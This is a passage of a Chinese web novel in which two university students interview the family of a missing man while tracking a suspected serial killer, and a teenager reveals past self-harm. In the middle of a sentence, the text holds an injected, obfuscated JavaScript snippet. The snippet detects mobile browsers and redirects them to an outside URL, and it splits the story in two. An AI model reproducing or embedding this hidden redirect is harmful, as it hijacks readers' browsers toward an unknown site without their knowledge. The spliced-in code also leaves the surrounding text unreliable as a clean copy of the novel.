“谁?噢,你说她嫁的那个老白啊,见过,当时他约莫四十多岁吧,略微秃顶,个子中等,长得就是美国白人那长相,没什么好说的。我觉得他来唐人街就是为了找一个华人妻子——你知道吧,就是那类喜欢找亚洲女人的白男,我劝美华别跟他走,她长得又不差,以后有机会找个老实巴交的,有身份的中国人结婚,语言又通,文化又通,不也挺好?但是美华说那个老白愿意接纳她的儿子,还愿意出钱让她把自己的儿子接来美国,那我就没吭声了。” “她找他结婚是因为……”云决明说不出下面那个“我”字。 “那不然呢?哪个二十多岁的,有点姿色的中国女仔要巴巴地嫁给白人?你当我们不知道那群老白男心里想的是什么?”女侍应生冷笑着,扳着手指,一条一条数,“他们就是看中什么,看中我们勤劳肯干,在家干家务不会像那些娇生惯养的白女一样叽叽歪歪。我们结婚又不要戒指,也不要一个贵得要死的婚礼,结婚后也不需要浪漫,肯给我们身份我们就感激涕零了,而且为了身份我们也没法轻易离婚。再一个,是什么,亚洲女仔身材娇小,符合他们的审美,他们喜欢这样的,生了孩子也不会变得很松垮,你懂吗?他们就想要这种,一个免费的给生孩子还做家务,打不还手骂不还口的亚洲妻子。不是想拿身份想疯了,谁也不会干的。” 云决明嘴唇颤抖着,却不知道要说什么。他低下头,感到艾登在桌子下无言地紧紧握了一下自己的手,他的掌心很干燥,很温暖,让人觉得安心。 “所以现在是怎样?她去世了吗?我倒不会觉得很奇怪,她当时就老抱怨身体不舒服,叫她去法拉盛检查又不去。” “她……还活着……”云决明舔了舔干涩的嘴唇。 “那你干嘛不去问她这些事,我还以为她死了呢!” “她……不肯跟我说。” “啊!原来如此。那也难怪啦,没几个人愿意说的,如果不是看在你是她儿子,我又以为她死了的份上,我也不会跟你说。那段日子没什么可说的,每个人都过的很苦。所以哪怕我不喜欢那个老白男,看到她能找个白人嫁了拿身份我还是为她高兴的,至少不用继续苦在这里。” “嗯。”云决明不知道该说什么,他觉得自己随时可能因为胸口难以忍受的抽痛昏迷过去,他整个大脑就犹如一块吸饱了柠檬汁的海绵,又酸又涩,轻轻一碰就能滴出水来。 “所以她心心念念,整天念叨的那个儿子就是你,”女侍应生上下打量了云决明一番,“确实跟她说的一样,长得斯文,看着很乖——你好好照顾你妈啊,她吃了很多苦,真的很不容易。” 云决明已经不记得自己当时说了什么,他甚至不记得自己是怎么跟艾登一块钻进出租车回到酒店的。那个夜晚仿佛是在眩晕中结束的,他记得自己仰头倒在出租车带着劣质香水与玉米片味道的后座,透过后视玻璃注视着苍紫色的天空踩着一盏盏路灯飞快地向后奔去,偶尔会有一道异常炫目的灯光打在他眼上,刺激得他不得不闭上眼睛,感受潮水是如何一瞬间涌上眼皮,又再度褪去,那也许来自某个广告牌,也许来自艾登担忧又温柔的注视,也许来自某个路人令人不安的目光,也许来自他的童年——很长一段时间,他一直告诉同学和朋友们他的父母都去世了,他们都是很好的人,很爱他,却不得不把他托付给小姨。“我就像哈利·波特,”他经常拿那个戴着眼镜的小男孩来类比自己,“只不过我没有遭受虐待。” 如果哈利·波特是自己,如果他也经历了自己经历的一切,他还会对他的母亲怀抱着那样憧憬又美好的感情吗?他还会原谅他的母亲吗? “小姨没有找我,她也有一块类似的手表吗?我都早忘了。”他平静地回答母亲,学着艾登的做法,轻柔地搂着她,把她从厨房带到餐桌那儿去,母亲不适地挣扎了几下,但是云决明稍稍用了一点力气,她便没有继续反抗了,“这块手表是我在纽约一家古董店找到的,我的室友看我喜欢,就买下来当送我的生日礼物。”他让她在餐桌旁坐下,才把手表取下给她看,“你看,它很新,表面和底部都被重新打磨过。” 母亲半信半疑地接过手表打量着,“你去纽约了?”她不经意地问了一句。 “嗯,我和我的室友,趁着假期去纽约逛了一圈。”云决明说,“我们还去了曼哈顿唐人街。” 母亲浑身一震,“唐人街挺大的,你们去了哪里玩?” “去了且林广场,看了林则徐雕像,还去了宰也街,勿街……”云决明细数了几个地名,“最后还去一家叫海鲜东来的饭店吃了一餐饭,那里的食物不错。” “噢,是吗?”母亲低头抚摸着那块手表,垂下的稀疏头发遮住了她的神色。云决明会翻出她曾经在海鲜东来餐厅前拍的照片纯属巧合,他当时想找一些钱,搭飞机逃回中国,后来因为发现他的美国公民身份还在申请,办不下护照而作罢。她从来没主动给他看过,“我没去过那里。” “没关系,”云决明说,他站起来,手落在母亲瘦弱的肩膀上,轻柔地拍了拍,“我觉得你不会喜欢吃那里的东西的,下次有机会我带你去别的地方吃——更好吃的地方。我去看看排骨,你坐在这儿等着。” 他不知道哈利·波特会怎么做,他不知道换做任何一个人是他,会怎么处理这件事。 但云决明知道自己会怎么做。 他会试着原谅自己的母亲。 86. Chapter·Thirty-Three “我想应该就是这儿了。” 艾登在街道边停下车,雨刷有一下没一下地扫除着车前窗上的积雪,邮箱上挂着的名字“泰勒”也随之一隐一现。云决明坐在副驾驶上,手上拿着iPad pro和Apple Pencil——两样都是艾登送他的圣诞礼物——屏幕上显示的是约州的地图,他们此刻所在的位置被云决明用笔圈了出来:约州南部,距离艾登父亲的被害处有差不多两个半小时的车程。 “凶手似乎在地理上没什么偏好。”艾登说道,瞥了一眼iPad,“他的杀人地点几乎遍布整个约州——假设我们确实没找错受害者的话。什么样的职业能让他这样到处跑却又不引人注目,还能用一个星期到一个多月左右的时间去研究他的受害者,跟踪他们,监视他们的生活,找出日常行为中的规律呢?” 通过研究受害者失踪或死亡的时间间隔,云决明之前就推断出凶手几乎是无间断地杀人,每次干掉一个猎物就会迅速转移到下一个猎物,中间间隔的时间就是他用来观察猎物的时间而已。 “保险销售员,家庭保险系统安装员,电缆与网络系统的安装工人,基本上都不会引人注目。”云决明扳着手指数着。他清楚这一点是因为他的继父就曾经是一个专门抢修电缆及网络系统的工人,这份工作的收入待遇不错,但是他会经常消失好几天——那几天往往就是云决明最放松的日子。 “还有州警,快递员——不过快递员通常只负责一个区域,他们应该不能随意开着公司的卡车到处乱转,还有那种开着小货车专门为人送货的,叫U-Haul的,那种也不容易引人注目,别人只会以为是谁家租了一辆货车而已。”艾登也跟着一块思考,“而且,如果凶手确实是开卡车的,那么他转移受害者也非常方便——如果我没记错的话,今天我们来拜访的这户人家的案件被定性为失踪案,不是谋杀案,对吗?” 他们做这种调查的时候,艾登倒是会表现得非常严肃,不会对他东摸摸西摸摸,也不会拿那双带笑的浅棕色眼睛温柔地瞧着他,叫云决明的心把两边肺擂得呼呼直响,全然忘记了呼吸。云决明很庆幸这一点。“对,失踪的是本杰明·琼斯先生。”他低头看着自己ipad上的资料,“他在2006年失踪的,尸体至今都没有找到。” “邮箱上写着泰勒——应该是她再嫁了的缘故。” “艾莉不会给我们这么详细的资料,她怕我们不小心说漏嘴了,会被对方当成那种恶意跟踪并且盗窃信息的诈骗犯。”云决明说道,松开了安全带,“本杰明·琼斯的妻子在邮件里的回复很客气,也说她很愿意帮助我们的调查,我想我们这一次的访问也应该很顺利,才对。” 圣诞节过后,艾登给仍然居住在原先屋子里的那二十多户人家用自己的校园邮箱地址发去了电子邮件——对怎么得到他们电子邮件的借口五花八门,“您的寻人启事上留了邮箱”,“我是在领英上找到您的”,“我搜索您的名字的时候,在分类广告网站上找到了您售卖二手家具的帖子”,但邮件的内容是一样的,都是说艾登意识到了自己父亲当年的谋杀案另有隐情,他在收集证据的过程中偶然发现了其他案件与他父亲的案件很相似,希望能前来访问一下对方,询问一些信息,争取让当地警察局重开案件调查。邮件的结尾,艾登还另外附上了一段他自己录的视频,由他本人坐在镜头前原样将邮件内容复述了一遍,好让收件人相信这并不是诈骗。 他们一共发了二十三封电子邮件,但是只有十一个人回复了。在这十一个人里面,又只有七个人同意艾登和云决明上门访问——本杰明·琼斯先生的妻子就是名单上的最后一位,艾登和云决明从圣诞节后就一直在忙碌这件事,今天已经是1月6日了,明天就是云决明的生日,11日学校就开学了,他们都想把这件事在开学以前做完。 可能是从窗子里瞧见了有车子停在自家的草坪前,艾登和云决明才走上车道,屋子的大门就打开了一条缝,一个高大,结实,强壮的黑人在门后警惕地瞧着他们,“你是艾登·维尔兰德?”他皱着眉头问道。 “是的,先生,”艾登应了一声,门缝因此而打开得大了一些,那位黑人男性从屋子里跨出了一步,主动伸手与艾登握了握,“我就是艾登·维尔兰德,这位是我的朋友,Ming,就像我在回信的邮件上提到的那样,他会帮忙记录这一次访问的关键信息。” “我叫莱姆斯·泰勒,塔丽雅·泰勒是我的太太——她原来是琼斯太太,但在四年前她发起了离婚诉求——这并不是说她对本杰明·琼斯放弃希望了,噢,绝对不是,”他马上就切入主题,焦急又轻快地为他的妻子辩解着,眼神恳切地在艾登和云决明扫来扫去,“不过,人总得朝前看,而且她也需要有人照顾她和孩子们。我知道你来这儿是想调查本杰明的失踪案,但我不希望你对我的妻子有什么偏见,她仍然相信本杰明还活着——只是,一个女人,四个孩子,生活真的太辛苦了,你明白我的意思吗?” “我们明白的,泰勒先生,请您放心这一点。” 他松了一口气,这时云决明才有机会打量他。眼前的这个黑人约莫有四十多岁,他长得很高,也很结实,模样虽说算不上英俊,但是称得上端正,身上穿着的舒适但又考究的家居服说明他早就习惯了有品位的中产阶级生活。他话里的黑人口音很淡,谈吐得体优雅,说明他受过良好的教育。他完全符合连环杀人犯选择受害者的那七条条件,云决明不由得皱了皱眉,“泰勒先生,我的问题也许有些唐突——” 正准备领着他们走进屋子的泰勒先生停住了脚步,“怎么了?”他疑惑地转过身来。 “请问您现在的妻子是您的第一任妻子吗?” 泰勒先生的五官因为惊讶而舒展开了,但他并没有显露被这个问题冒犯的神色,让本来就不喜欢主动与人打招呼的云决明稍微放松了一点,“塔丽雅是我的第二任妻子,”他说,“在她之前,我与我的第一任妻子结婚了六年——不过我们没有任何孩子。你瞧,那其实就是我们的主要矛盾,我想要一个完整的家庭,她只想要二人世界。所以我很感谢塔丽雅圆满了我的心愿,虽然她的孩子与我没有血缘联系,但我把他们都视作是我亲生的后代。” “你们怎么都站在门口这儿说话?” 内侧的木门突然被拉开了,一位面容非常温柔的黑人女性站在门后,探询地望着他们几个——想必就是塔丽雅·泰勒。云决明猜到她可能一直在客厅等着,却迟迟不见他们进来,这才出来查看发生了什么事,“我们正要进去呢,亲爱的,”泰勒先生搂住了她的肩膀,“我刚才只是在向这两个小伙子做自我介绍,然后问了——”“叫我艾登就好。”艾登马上适时插话。“——艾登一些与橄榄球有关的事,都忘了要进来了。” 泰勒太太的目光转到艾登与云决明身上,他们两个都识相地点了点头。 “那还站在外面受冻干嘛,赶紧进来吧。”她招呼着,然而等大家都站在门厅里,脱下外套,拍打着头上和鞋子上的雪花时,她又显得有些不知所措了,就像受惊的动物被迫站在满是人的房间里,茫然地四处打量着,“你们——你们在邮件上说要看看本杰明的房间——所以……你们是想先看看房间,还是先与我们聊聊?” 泰勒先生无言地握住了他的妻子的手,表示支持。 “您还保留着琼斯先生的房间?”艾登有些惊讶,云决明也有同感。 “是的,”说话的是泰勒先生,“这栋房子实际上有两间面积差不多的房间,都可以当做主卧,因此塔丽雅保留了她和本杰明的曾经的卧室——主要是为了孩子们,他们小的时候很喜欢在雷雨天跑进那儿的衣柜里躲起来。直到现在,小本杰明,也就是我最大的继子,偶尔也会去那儿睡上一个晚上。我们都理解孩子们需要一个可以发泄他们思念的地方,更何况,如果有一天本杰明重新出现了,我们都希望他知道这儿仍然是他的家,仍然为他留着一个可以居住的地方。孩子们是这么想的,我们也是这么想的。” “请往这边走。”泰勒太太说,她的嘴唇有些颤抖,全靠紧紧抓着她丈夫的手才没有摔倒。 “请问,你们介意我给这段对话录音吗?”艾登开口问道,“这会帮助我们时候整理一些对话当时没有注意到的细节——任何时候,如果你们不希望所说的话被录进去,我们会随时暂停,或者在您的监督下将录音内容抹去。” 泰勒太太眨了眨眼,与她的丈夫迅速交换了眼神,“我想没问题,”她抿了抿发干的嘴唇,“嗯,我想可以,你录吧。” 云决明拿出了早就准备好的录音笔,他们给每一户访问的家庭都录了音,甚至还给不少将来可能有用的证据拍了照片,录了像。 “那么,我想问一下,琼斯先生以前是做什么的?” “他是个药剂师,”泰勒太太说,“就在距离这儿不远的那家CVS上班,周末他没事的时候会去附近的一间家庭诊所兼职——他是一个非常尽职的丈夫,父亲,那么的温和,体贴,善解人意,总是想着要为他的孩子们提供更多他小时候没拥有过的好东西……他在一个动荡的街区长大,父母对他不管不顾,他能有今天——我是说,曾经的成就,都是靠他自己的不懈努力……” 她抽噎了一声,似乎没法继续再说下去,泰勒先生一边扶着他的妻子继续往二楼走去,一边回过头来继续着这段对话。在他身后,云决明正飞快地在ipad上做着笔记——用的是中文。 “那您能说说琼斯先生失踪那天发生的事情吗?” “可以,当然——噢,这儿就是本杰明的卧室,一切都还是按照他失踪那天的模样留着,孩子们到这儿睡的时候也会很小心,从来不会弄乱任何东西。”泰勒太太领着他们走进一件宽敞的卧室,她那竭力克制住自己感情的模样就像是个博物馆讲解员,云决明和艾登在房间里散开了,他们现在已经有经验了,知道要去哪儿寻找会对案件有帮助的线索。 云决明在床头柜旁蹲下,拿出便携单反相机给床头柜上的几张照片拍了张照。他注意到琼斯先生的个子比泰勒先生矮,不过块头更大,更结实,但他的肤色比泰勒先生浅上不少,黑人的特征也没那么明显。这让云决明更感到疑惑了。 “本杰明失踪那天是2006年5月19日,我记得很清楚那天发生了什么,他就像往常一样,下午五点钟左右就回家了,我那天给他做了他最喜欢吃的腓力牛排,我们七点钟吃完晚饭,本杰明辅导了一会我们大儿子的数学作业,帮助亚当做了他的科学项目,接着,我看时间差不多了,就催促孩子们去洗澡。本杰明在八点半左右的时候换好衣服,准备出门慢跑。” “他一般会慢跑多久?”艾登的声音从步入式衣柜中传来。 “一个多小时——差不多都要一个多小时,但他回家的时间从未超过十点。”泰勒太太回答,她的声音颤抖不已,“我当时在忙着为小本杰明第二天的活动做纸杯蛋糕,等我察觉不对的时候已经是十点二十五了,我先打了一会他的手机——我当时以为他可能路上遇见了某个邻居,两个人站在路边聊得忘记了时间——但是他的电话已经关机了,我的来电被直接转接到了语音信箱。” 云决明闻言赶紧打开iPad,记下:十点二十五分,凶手疑似已将琼斯先生控制住,或者已经杀害。 重点:从凶手有意关掉琼斯先生的手机这一点来看,疑似是将琼斯先生带走而非当场杀害,鉴于凶手当场杀害维尔兰德先生时,他并没有关闭或丢掉对方的手机。 “在他去世之前的半年左右的时间里,琼斯先生有没有提起过遇见了种族歧视者,或者是任何令他觉得可疑的人士?”云决明现在还无法断定凶手到底是什么时候盯上自己的猎物的,因此他把与凶手可能产生交集的时间延长到了半年。 “这倒没有,无论是我们居住的社区,还是本杰明工作的地方,都非常的多元化,有很多少数族裔同事和顾客。他在药房里工作有好些年了,我从来没听到他抱怨遇见种族歧视者。” “也有可能是个比较难缠的客户,”艾登说道,“对方不一定使用了歧视性的语言,但对方的态度可能不太好。” 泰勒太太愣了愣,原本靠床柱支撑着自己的她缓缓在床上坐下了,双手撑开顶着脑袋,就像在挤压海绵一样试图把她的记忆从脑子里逼出来,艾登和云决明都耐心地等待着她,后者可以看出要重新回想起九年前发生的一切对她打击很大,她想必一直活在矛盾的心理中——既想让自己的生活继续向前,又感觉那是对她前夫和孩子们亲生父亲的一种背叛。怪不得泰勒先生要在他们进门前那样告诫他们,云决明感到一句轻飘飘的“所以,你保留着琼斯先生的房间,却还是再嫁了”都能让她立刻昏倒在地。 “抱歉,我真的想不起来,”泰勒太太说道,“但我记得很清楚当时本杰明和一个警察起冲突了。那个警察怀疑他利用职业之便给其他非裔美国人提供大|麻和药品,本杰明说他一点证据都没有,那个警察说逮捕黑人又不需要证据,你身上的颜色就说明不少了。之后本杰明拒绝跟着他去警察局对这件事做笔录,那个警察就骂骂咧咧地离开了。” “这儿的警察一直是这样,”泰勒先生加了一句,“他们不信任我们,他们都被科尔·埃弗里的言论洗脑了,认为少数族裔根本不值得他们的保护——非但不值得,甚至还是值得警惕和防备的家伙们。本杰明失踪以后,本地的警察根本没有组织起一个像样的搜寻队,他们甚至觉得这不是事,觉得不过就是另一个黑鬼懦弱地抛家弃子,逃到别处改名换姓开始新生活罢了。还是我们这些黑人自己自发地团结起来,到处张贴寻人启事,搜查以这栋房子为圆心百里以内的土地,挨家挨户地询问别人事发当时有没有瞧见什么不寻常的事情,但是我们一无所获。” 云决明听着,在iPad上记录下了“当地警察歧视少数族裔,本杰明生前与警察起过冲突。” “我也算认识本杰明,”他说道,“我和他小时候都住在同一个社区里,我们都去同一间教堂做礼拜,长大以后又上了同一所高中,后来也在他工作的地方遇见了几次,甚至可能一块参加了几个共同朋友的婚礼——只是我们从来没有被正式介绍给彼此过,你明白吗?但是我听说过他的为人,我可以向你保证,他绝对不是那种会抛家弃子,不负责任的男人,也绝对不是那种会与别人结下梁子,结果被人莫名其妙在小巷子里打死的那种男人。这也是为什么我们同意接收你的拜访的原因——我们都非常急切地想弄清楚本杰明身上发生了什么事。我们不是——我们不是不能接受——” “他已经死了这个事实。”泰勒太太凄楚一笑,说完了她丈夫结结巴巴未能说完的后半句话,好似她比起他更有资格说出那几个字,“我不管他是在另一个州,娶了另一个妻子,组建了全新的家庭,还是卷入了什么可怕的阴谋当中——我只是希望能得到一个结果,一个确凿的结果,不然我们的生活永远无法真正继续下去,我的孩子们的生活也没法继续下去……抱歉,我实在没办法——” 她猛地站起身,拉开房门离开了,云决明和艾登只听得见一阵咚咚咚的脚步匆匆穿过走廊,接着便是“嘭”地一声,某扇房门被重重地关上了。 “对不起,请给我的妻子一点儿时间冷静下来,要不你们先来我的书房里坐一会吧。”泰勒先生低声说道,他领着艾登和云决明离开了这间卧室——鉴于凶手是在房子以外的地点将琼斯先生带走的,这间房间能告诉他们的不多,云决明没有反对离开,“所以,我一直想问问,你为什么会觉得你父亲的案件与本杰明的失踪有关呢?” 在书房里的两把现代工业风格的椅子上落座以后,艾登才开始一五一十地向泰勒先生阐述自己的猜想,从他认为约州蛰伏着一个连环杀手开始说起,一直说到他与云决明是怎么在成千上万个受害人中根据他们总结得出的七条条件筛选出可能的受害者,再说到他们如何打算利用这些拜访来完善凶手的侧写,证明这些案件之间是有联系的。这么一来,不仅肯尼的嫌疑可以洗清,琼斯先生的失踪案也会被当做是连环杀手的其中一桩犯案来对待,有可能会找出当年漏掉的蛛丝马迹,让这一案件能得以真正解决。 艾登在说话的同时,云决明也在不动声色地观察着整间书房。 “我该去看看我的妻子现在状况怎么样了,”认真地听完艾登的讲述后,过程中嘴巴就没合上过的泰勒先生站起了身,“我认为她非常有必要听听你的猜想——顺便说一句,你和你的朋友在这几个月里为这桩案件付出的精力,比过去几十年里整个约州警察为少数族裔谋杀案或失踪案加起来付出的精力还要多,就为这一点,我也对你感激不尽。” 他站起身,走了出去,门刚一关上,云决明就立刻转向了艾登,“为什么泰勒先生没有被凶手当做是目标?”他说道,“我想不明白这件事——他说他就住在这附近,他的整个人生轨迹与琼斯先生是交错的,如果我没有误会他潜台词里的意思的话,他和琼斯先生应该是这个小镇上同龄人中唯二两个靠自身努力最终晋升中产阶级的孩子,否则他们很难注意到彼此的存在。你看他墙壁上挂着的毕业证书,他可是P大的学生。你再看证书上面挂着的照片,那应该是他还没有跟前妻离婚的时候拍的,他身后的那栋房子豪华程度并不亚于这一栋,他完完全全符合我们找出的条件,可是,为什么凶手在泰勒先生与琼斯先生之间选择了后者?” “你认为凶手并不是随机选择了他们两个中的一个?” “我绝对不这么认为,”云决明摇了摇头,“我们知道他很谨慎,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041263|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很狡猾,从来不会在同一个地方犯下第二桩案件——而我所有阅读的连环杀手案例,尤其是与计划型的杀手有关的部分都告诉我,他们如果只能下一次手,那么他们一定会精挑细选自己的猎物,而不是点指兵兵点到谁就算谁。凶手选择了琼斯先生而不是泰勒先生,就足以证明我们条件还有一个漏洞没有找到,是这个漏洞让他做出了最终的那个关键选择。” “但我们还不能百分之一百地确定,琼斯先生一定就是连环杀人犯的受害者之一,”艾登小声地说道,“我们还没看过他的房间,访谈也没做,甚至没跟他的孩子们聊过——” 他话还没说完,书房的门就突然被人打开了,一个看上去跟他们年纪差不多的黑人男孩站在门口,惊讶而又戒备地看着他们。“Hi,你好,”艾登的反应非常迅速,一下子就从椅子上蹿到了门口,热情地伸出了手,“我是艾登·维尔兰德,这是Ming,我的好朋友,我们是来这儿问问你的母亲和继父一些关于你父亲的问题的。” “Right,我知道你,”那个男孩脸上现出了一种冷漠的神色,云决明马上想起,还没有与艾登和解以前的艾莉脸上就经常有这样的神色,“你是那个被开除的四分卫,而你是跟屁虫凯特·摩丝——我也在U大上学。” 没想到还能听见这个外号,云决明不悦地皱起了眉头。 “我听我妈说起了你们要来的事情——老实说,我不知道你们两个大学生能调查出什么玩意,你们的到来只不过是让她本来就不稳定的精神状况雪上加霜罢了,”他那冰冷的讥讽语气也让云决明想起了从前的艾莉,“我只是来这儿拿我的平板——你们爱干什么干什么,但如果你让我妈妈精神崩溃或者是什么,我可不管你是不是最厉害的四分卫,我照样能把你打得满地找牙。” 他威胁地晃了晃自己的拳头,艾登收回了手,向后退了一步,他仍然保持着温和的神色。 “实际上,你来得正好,我有些问题也想问你。你是琼斯先生的大儿子吗?小本杰明·琼斯,是不是?” “关你什么事?我为什么要回答你的问题?”对方咄咄逼人地问道,“你今年也就上大三吧,你旁边那个,也不过就是大二的学生,稍微学了一点犯罪心理还是刑侦司法的皮毛知识,就以为自己可以扮演警察了——” “那么,警察有问过你任何问题吗?”云决明打断了他的话。 “什么?” “我是说,你的父亲失踪的时候,警察有询问过你任何问题吗?” “没有,可是——” “他们在乎过这个案件吗?” “没有,可是——” “你认为他们真的想要找到你失踪的父亲吗?” “当然没有,他们就是一群——” “所以你为什么会觉得我们比警察还不如呢?”云决明赶在他说出一大串污言秽语以前阻止了他,平静地问道,“确实,从专业知识上看,也许我们确实比不过警察,但从态度上来说,我们对你父亲案件的重视远远超过任何一个曾经负责这起案件的警察,我们是真心实意地想要找出你父亲失踪背后的真相——因为它有可能与艾登父亲的谋杀案息息相关,都是由同一个凶手犯下的连环杀人案件。你也失去了父亲,你很清楚那是一种什么样的感觉,你很清楚那种对真相的渴求有多么折磨人。难道你宁愿相信那些毫不关心你的父亲死活的警察,也不肯告诉我们一些很有可能对破案起到关键作用的信息吗?” “不是——我只是——” 小本杰明被云决明说得哑口无言,结结巴巴了半天也没吐出一句完整的话,他最终在他继父先前坐过的那张沙发上一屁股坐下了,“行吧,”他说,“你们要问什么?” 艾登把之前问过泰勒太太的问题又拿出来重新问了一遍,中途,泰勒先生曾经进来过一次,发现他们在询问小本杰明问题后就识趣地离开了,“如果你们还需要与我和我的妻子谈谈,”他临走前说,“我们会在楼下的客厅等着你们。” 他关上房门以后,云决明难得地开口了——大部分时候,艾登都是那个主动问问题的人,他只负责记录。 “你喜欢泰勒先生吗?” 小本杰明耸了耸肩,“他对我妈很好,也尽可能对我们好,我最小的弟弟和妹妹基本把他当成亲生父亲看待了——我不怪他们,他们几乎都不怎么记得爸爸了。所以,我猜,还行。” “你觉得他跟你父亲最大的不同的是什么?” “非要我说的话,我觉得他更懂得怎么当一个丈夫,而不是一个父亲。”小本杰明摊开了手,“他不懂得怎么像我父亲那样处理我和我的兄弟之间的矛盾,也不太懂得怎么赢得我们的尊重。与其说他是我的继父,我感觉他更像我的朋友,我不憧憬他,也不崇拜他——我觉得那是一个父亲应该让儿子拥有的基本感情,但我不反感与他相处。” 云决明心中一动,这番话给了他某种奇特的感觉。他直觉这跟凶手为什么选择了琼斯先生而非泰勒先生有关,但他又抓不住这其中的重点。 他一直望着自己飞快地在iPad上记下的几个关键词发呆,苦苦思索着到底是什么让他有了这样的感觉,几乎都没认真听艾登温热对方什么。直到艾登轻轻用手肘撞了一下他,“我基本都问完了,”艾登说,“你还有什么想问的问题吗?” “嗯……”云决明回过神来,低头看了看iPad,“你父亲失踪后,你有没有产生过轻生,自残的想法,或者甚至尝试过类似的,比如说割伤大腿……” 他问题都没说完,就看见小本杰明的脸色迅速变了,在他们所有采访的七户人家中,他是第一个对这个问题产生反应的人。 “你怎么知道这一点的?”他站起身,勃然大怒,厉声说道,“你是不是事先调查过我——这整件事对你来说就是个残忍的笑话,是不是?” “不,我没有——” “那你为什么会这么问?这根本不是一个寻常的问题——我身边没有一个朋友发现过我这么做,我的家人也从来没有发现过,他们根本都不认为我会去这么做,也从来不会怀疑这一点。我从来没跟任何一个现实中的朋友提到过这件事,只除了——只除了——别管了,告诉我你为什么会这么问!” “因为还有别的受害者的孩子也出现了类似的自残行为。”云决明冷静地回答,艾登愕然地转过头,难以置信地瞪着他,但是云决明没有理会他的眼神,“我们只想弄清楚这到底是孤例,还是另一个不容忽视的关键。” “还有别人也——他也——自残了?”小本杰明小声问道。 云决明肯定地点了点头,“在大腿上,”他说,刻意隐瞒了会暴露性别的第三人称称呼,“两侧都是数不清的刀割伤口。” “我……一开始是在大腿上,”小本杰明说道,“但是后来我发现那样就太显眼了,夏天根本没法去游泳,所以……我就改成在肚子上……”他揭起衣服,让艾登和云决明瞧了一眼他侧腹上数不清的一条接一条细长发白的刀痕,“但我已经很久没这么做了……自从莱姆斯搬进来以后就没这么做了,我不想让他发现……我之前只在网络上发过,有个专门为自残爱好者开放的论坛,进去要放自残的照片或视频的那种,但里面的人自残的动机都跟我不一样,过段时间后我就退出了。” “你的动机是什么?” 小本杰明沉默了几秒,然后抬起头来,棕色眼珠里映着窗外灰蒙蒙的天空,就像它从未晴朗过一样。 “我自残,是因为我一直觉得……我就是那个导致我父亲失踪的原因。”他轻声说,“我不知道该怎么向你们解释,但我真的这么觉得,就仿佛只要我不存在,我的父亲就绝对不会消失。这个念头折磨了我五年,我从来没跟任何人说过。” 在云决明身旁,艾登微不可闻地倒吸了一口冷气。 在接下来的整个访谈里,他都表现得心不在焉,说话颠三倒四,上句不接下句,云决明不得不强迫自己担起重任,冷汗涔涔地忍受着被迫社交给他带来的巨大压力,好不容易才把他们预先列好的问题单子上的事项都一一打听完毕。等他们顶着如同飞灰般的细雪回到福特野马旁,送他们到车道上的泰勒夫妇也已经回到了屋子内,云决明刚想向艾登打听刚才的事情,就感觉到手机在裤兜里剧烈震动起来。 云决明掏出手机来一看,是艾莉。 “Hi,Ming?你现在在哪里?你有空吗?” “我和艾登刚刚结束对最后一户人家的访问。” “那太好了,你们能过来疏眠家一趟吗?我们刚刚接到了一封求助的邮件,是一个女孩,她正在你的高中母校念一年级,她说她被学校的心理咨询老师性侵了,我们想知道……” 他突然听不见任何声音了。 87. Chapter·Thirty-Four 不用说,艾登原本精心为Ming策划的惊喜生日派对算是毁了。 他当时甚至不知道发生了什么事,心思全在之前Ming说过的话上——“还有别的受害者的孩子也出现了类似的自残行为。”他相信Ming说出这句话,还有之后的几句话,并不是想要套出小本杰明的话,而是他确实发现了类似的行为。 在泰勒太太之前拜访的六户人家,Ming都对疑似受害者的孩子问出了相同的问题,艾登当时以为他这么问只是出于对那些孩子们心理状况的关心,直到此时,他才明白事实并非如此。 问题是,谁? 还没等他勇于面对内心呼之欲出的那个答案——Ming认识几个连环杀手受害人的孩子?又有谁会告诉他这么隐私的事情?——艾登就被另一个猛然敲击在脑门上的事实打倒了。现实中,他只是微不可闻地倒吸了一口冷气,凭借着不知道哪里来的力量——多半是身旁的Ming给予的——牢牢站在原地,内心中,那个一直试图以肉身之躯抵挡住愧疚浪潮的小男孩已经跪倒在地,头顶着父亲的墓碑,膝盖压在冰冷的棺木上,苦涩泪水跌落在厚实的泥土上,像一个又一个他磕下的头。“我宁愿死去的是你,而不是父亲。”艾莉冰冷的声音在他耳边响起,Ming从未问过如此简单的一句话为何让自己痛苦至斯,那是因为他内心清楚那是真的,只要死去的是他,父亲就绝对不会死去。 艾莉也知道这一点吗? 艾莉也是这么想的吗? 是不是每个失去父亲的孩子都会这么想?还是说,只有他们——艾登,艾莉,小本杰明,以及所有其他疑似受害者的孩子们——才会有这样的想法? 他机械地跟着Ming在泰勒夫妇的屋子里走来走去,就像即将睡着又强撑着让自己清醒的人一般,时不时迈出一两句毫无逻辑道理的话。艾登已经不在乎这次拜访了,也不在乎泰勒夫妇每隔几秒就扫射过来的惊奇眼神,就好像他们正悄悄怀疑自己是不是趁机在洗手间里吸了一管白|粉似的,他只是全心全意地在记忆中搜寻着,就像要极力回忆起某段旋律的来源,或者是某部电影的名字,艾登竭力回溯着他愧疚感的归属,究竟是哪一刻,哪一时,哪一件事,哪一个人让他产生了这种想法。 但他什么都记不起来。 令他回过神来的是扑面而来的雪花,落在脸上带来了微微刺痛的冰冷。他回过头望去,发现泰勒先生和泰勒太太站在房子门口,冲他们挥舞着手,艾登也勉强挥了挥,虽然他完全没有任何印象访问是如何结束的,他甚至记不起来泰勒夫妇家的客厅长什么模样,他漫不经心地走到了福特野马旁,正打算从后座地垫上拿出雪刷,将车子上的积雪刷干净—— 事情就是在那一刻发生的。 他率先听见的是一声清脆的碎裂声响,站起身来的艾登瞧见的只有脸色苍白,木然站在原地,僵硬得一动不动的Ming,他的手还维持着打电话的手势,但他的手机已经不翼而飞了。 “怎么了?”艾登不知所措地问道。 